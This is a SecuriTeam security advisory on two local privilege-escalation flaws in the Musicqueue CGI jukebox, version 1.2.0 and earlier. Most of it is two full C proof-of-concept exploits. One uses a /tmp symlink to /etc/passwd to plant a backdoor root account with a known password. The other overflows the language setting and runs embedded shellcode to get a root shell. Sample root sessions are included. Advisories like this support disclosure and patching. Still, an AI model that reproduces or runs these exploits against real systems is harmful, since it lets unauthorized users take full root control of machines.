SecuriTeam - Musicqueue Multiple Local Vulnerabilities (/tmp/musicqueue.crash Symblink, Language Overflow)

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CanSecWest 2012

2nd Annual Cyber Security

Hack In Paris

Musicqueue is "a CGI music jukebox using external tools to play the files. Because of that it supports several formats. It supports two modes, enqueue and vote. In vote mode users can vote on music and the song with the most votes is played. In enqueue mode, songs are enqueued and the one that's been in the playlist the longest is played. It is themable through CSS and has many configuration options".

Two locally exploitable vulnerabilities in the Musicqueue product allow attackers to gain elevated privileges, one vulnerability consists of exploiting a symbolic link, the other exploits a buffer overflow.

Credit:
The information has been provided by dong-h0un U.

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Vulnerable systems:
* Musicqueue version 1.2.0 and prior

0x82-Local.musicqueue_xpl.c:
/*
**
** 0x82-Local.musicqueue_xpl -
** musicqueue.cgi v-1.2.0 local root `Proof of Concept' exploit
**
** This may add user of `REQUEST_METHOD=GET' in `/etc/passwd' file.
** And, the password is `x82'.
**
** I installed musicqueue by root. (make install-suid)
**
** --
** [root@testsub musicqueue]# ls -al musicqueue.cgi
** -rwsr-sr-x 1 root root 67540 Jul 20 14:54 musicqueue.cgi
** [root@testsub musicqueue]# su x82
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** root:x:0:0:root:/root:/bin/bash
** [x82@testsub musicqueue]$ gcc -o 0x82-Local.musicqueue_xpl 0x82-Local.musicqueue_xpl.c
** [x82@testsub musicqueue]$ ./0x82-Local.musicqueue_xpl
**
** 0x82-Local.musicqueue_xpl - musicqueue.cgi v-1.2.0 POC exploit.
**
** [x82@testsub musicqueue]$ head -1 /etc/passwd
** REQUEST_METHOD=GET:$1$jDra3UN4$4jyyrr1pc00PRZnmlyFw91:0:0::/:/bin/sh
** [x82@testsub musicqueue]$ su REQUEST_METHOD=GET
** Password: (password is 'x82')
** [REQUEST_METHOD=GET@testsub musicqueue]# id
** uid=0(REQUEST_METHOD=GET) gid=0(root) groups=0(root)
** [REQUEST_METHOD=GET@testsub musicqueue]#
** --
**
** Don't like user's name so. :-p
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

#define REDHAT_7X
#undef REDHAT_7X /* touch me! */

#define DEF_TG_PATH "./musicqueue.cgi"
#define CRASH_CORE_PATH "/tmp/musicqueue.crash"
#define WRT_PASSWD_PATH "/etc/passwd"
#define REQUEST_METHOD_MK "GET" /* Username: REQUEST_METHOD=GET */
#define S_TOKEN 0x3a
#define S_PASS "$1$jDra3UN4$4jyyrr1pc00PRZnmlyFw91" /* Password: x82 */
#define DCR_PASS "x82"
#define USER_UID 0x0 /* Uid,Gid: 0 */
#define USER_GID 0x0
#define ROOT_PWD 0x2f /* Homedir: / */
#define SHELL_PATH "/bin/sh" /* Shell: /bin/sh */
#define TTL_FORMAT_STR "%s%c%s%c%d%c%d%c%c%c%c%s\n"
#define STK_OVERFLOW_STR "aaaa"
#define S_ENV_PTE "REQUEST_METHOD"
#define S_ENV_PTO "HTTP_ACCEPT_LANGUAGE"
#ifdef REDHAT_7X
#define S_ENV_PTH "QUERY_STRING"
#endif
#define DEF_ZR 0
#define DEF_NR 1
#define DEF_MN -1
#define SZ_DEF_BR (0x82)
#define DEF_LEN (1024)

int main(void)
{
        FILE *fp=(NULL);
        char atk_str[(SZ_DEF_BR)],ttl_str_bf[(DEF_LEN)];
        int r=(DEF_ZR),r_r=(DEF_ZR);

        fprintf(stdout,"\n 0x82-Local.musicqueue_xpl - musicqueue.cgi v-1.2.0 POC
exploit.\n\n");

        memset((char *)atk_str,(DEF_ZR),sizeof(atk_str));
        snprintf(atk_str,sizeof(atk_str)-1,(TTL_FORMAT_STR),
                (REQUEST_METHOD_MK),(S_TOKEN),(S_PASS),(S_TOKEN),
                (USER_UID),(S_TOKEN),(USER_GID),(S_TOKEN),(S_TOKEN),
                (ROOT_PWD),(S_TOKEN),(SHELL_PATH));

        if((fp=fopen((WRT_PASSWD_PATH),"r"))==NULL)
                return((DEF_MN));

        memset((char *)ttl_str_bf,(DEF_ZR),sizeof(ttl_str_bf));
        for(r_r=(DEF_ZR);r_r<strlen(atk_str);r_r++)
                ttl_str_bf[r_r]=atk_str[r_r];

        while(fread(&r,(DEF_NR),(DEF_NR),fp))
                ttl_str_bf[r_r++]=(r);

        fclose(fp);
        ttl_str_bf[strlen(ttl_str_bf)-1]='\0';

        /* REQUEST_METHOD=GET:...:...:... passwd contents ... */
        setenv((S_ENV_PTE),(ttl_str_bf),strlen(ttl_str_bf));
        /* Stack Overflow. yeh, Its segfault happens. */
        setenv((S_ENV_PTO),(STK_OVERFLOW_STR),strlen(STK_OVERFLOW_STR));

#ifdef REDHAT_7X
        atk_str[strlen(atk_str)-1]='\0';
        setenv((S_ENV_PTH),(atk_str),strlen(atk_str));
#endif

        /* File Symbolic Link. */
        unlink(CRASH_CORE_PATH);
        symlink((WRT_PASSWD_PATH),(CRASH_CORE_PATH));

        /* Execute, Local CGI. */
        execl((DEF_TG_PATH),(DEF_TG_PATH),(NULL));
}

0x82-musicqueue_over.c:
/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
**
** This is general overflow exploit.
**
** --
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04#
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>

int main(int argc,char *argv[])
{
        FILE *fp;
        int r_rn=0;
        char *ent_r[3],atck_d[0x82];
        char shellcode[]=
                "\220@\220@\220@\220@\220@\220@\220@\220@\220@"
                "\220@\220@\220@\220@\220@\220@\220@\220@\220@"
                "1\300\260F1\3331\311\315\2001\300\260G1\3331"
                "\311\315\200\353\037^\211v\b1\300\210F\007"
                "\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
                "\333\211\330@\315\200\350\334\377\377\377"
                "/bin/sh";

        unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
        memset((char *)atck_d,0,sizeof(atck_d));

        fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC
exploit.\n\n");

        if(argc<2)
        {
                fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
                exit(-1);
        }
        else sh_addr-=(strlen(argv[1]));

        atck_d[r_rn++]=0x82;
        for(;r_rn<44;r_rn+=4)
        {
                *(long *)&atck_d[r_rn]=sh_addr;
        }

        if((fp=fopen("musicqueue.conf","w"))==NULL)
        {
        fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
        return(-1);
        }
        fprintf(fp,"language = %s\n",atck_d);
        fclose(fp);

        ent_r[0]="REQUEST_METHOD=GET";
        ent_r[1]=(shellcode);
        ent_r[2]=(NULL);
        execle(argv[1],"musicqueue.cgi",NULL,ent_r);
}

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